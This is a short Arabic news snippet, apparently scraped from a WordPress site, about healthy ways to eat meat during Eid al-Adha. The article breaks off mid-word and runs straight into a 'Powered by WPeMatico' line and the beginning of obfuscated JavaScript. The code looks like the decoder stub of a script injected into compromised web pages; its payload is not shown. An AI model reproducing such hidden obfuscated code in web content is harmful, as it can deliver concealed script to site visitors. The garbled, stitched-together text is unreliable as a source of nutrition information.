تعرف على الطرق الصحية لـ تناول اللحوم

اعتاد المصريون في عيد الأضحى على أكل اللحوم بأنواعها سواء كانت لحم ضأن أو أبقار أو جاموس أو جمال كشف المعهد القومي للتغذية عن أهم العناصر الغذائية المتوفرة في أنواع اللحوم سواء البروتين أو الحدPowered by WPeMatico function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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